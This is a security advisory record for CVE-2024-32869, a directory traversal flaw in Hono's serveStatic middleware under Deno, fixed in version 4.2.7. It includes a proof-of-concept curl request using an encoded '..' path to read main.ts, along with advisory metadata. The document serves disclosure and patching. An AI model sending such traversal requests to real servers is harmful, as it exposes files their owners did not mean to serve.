ghsa-3mpf-rcc7-5347
Vulnerability from github
Published
2024-04-23 16:20
Modified
2024-04-24 14:26
Severity ?
VLAI Severity ?
Summary
Hono vulnerable to Restricted Directory Traversal in serveStatic with deno
Details
Summary
When using serveStatic with deno, it is possible to directory traverse where main.ts is located.
My environment is configured as per this tutorial https://hono.dev/getting-started/deno
PoC
bash
$ tree
.
├── deno.json
├── deno.lock
├── main.ts
├── README.md
└── static
└── a.txt
source
```jsx import { Hono } from 'https://deno.land/x/hono@v4.2.6/mod.ts' import { serveStatic } from 'https://deno.land/x/hono@v4.2.6/middleware.ts'
const app = new Hono() app.use('/static/*', serveStatic({ root: './' }))
Deno.serve(app.fetch) ```
request
bash
curl localhost:8000/static/%2e%2e/main.ts
response is content of main.ts
Impact
Unexpected files are retrieved.
{ "affected": [ { "package": { "ecosystem": "npm", "name": "hono" }, "ranges": [ { "events": [ { "introduced": "0" }, { "fixed": "4.2.7" } ], "type": "ECOSYSTEM" } ] } ], "aliases": [ "CVE-2024-32869" ], "database_specific": { "cwe_ids": [ "CWE-22" ], "github_reviewed": true, "github_reviewed_at": "2024-04-23T16:20:49Z", "nvd_published_at": "2024-04-23T21:15:48Z", "severity": "MODERATE" }, "details": "### Summary\n\nWhen using serveStatic with deno, it is possible to directory traverse where main.ts is located.\n\nMy environment is configured as per this tutorial\nhttps://hono.dev/getting-started/deno\n\n### PoC\n\n```bash\n$ tree\n.\n\u251c\u2500\u2500 deno.json\n\u251c\u2500\u2500 deno.lock\n\u251c\u2500\u2500 main.ts\n\u251c\u2500\u2500 README.md\n\u2514\u2500\u2500 static\n \u2514\u2500\u2500 a.txt\n```\n\nsource\n\n```jsx\nimport { Hono } from \u0027https://deno.land/x/hono@v4.2.6/mod.ts\u0027\nimport { serveStatic } from \u0027https://deno.land/x/hono@v4.2.6/middleware.ts\u0027\n\nconst app = new Hono()\napp.use(\u0027/static/*\u0027, serveStatic({ root: \u0027./\u0027 }))\n\nDeno.serve(app.fetch)\n```\n\nrequest\n\n```bash\ncurl localhost:8000/static/%2e%2e/main.ts\n```\n\nresponse is content of main.ts\n\n### Impact\n\nUnexpected files are retrieved.", "id": "GHSA-3mpf-rcc7-5347", "modified": "2024-04-24T14:26:48Z", "published": "2024-04-23T16:20:49Z", "references": [ { "type": "WEB", "url": "https://github.com/honojs/hono/security/advisories/GHSA-3mpf-rcc7-5347" }, { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-32869" }, { "type": "WEB", "url": "https://github.com/honojs/hono/commit/92e65fbb6e5e7372650e7690dbd84938432d9e65" }, { "type": "PACKAGE", "url": "https://github.com/honojs/hono" } ], "schema_version": "1.4.0", "severity": [ { "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "type": "CVSS_V3" } ], "summary": "Hono vulnerable to Restricted Directory Traversal in serveStatic with deno" }
Loading…
Loading…
Sightings
Author | Source | Type | Date |
---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.
Loading…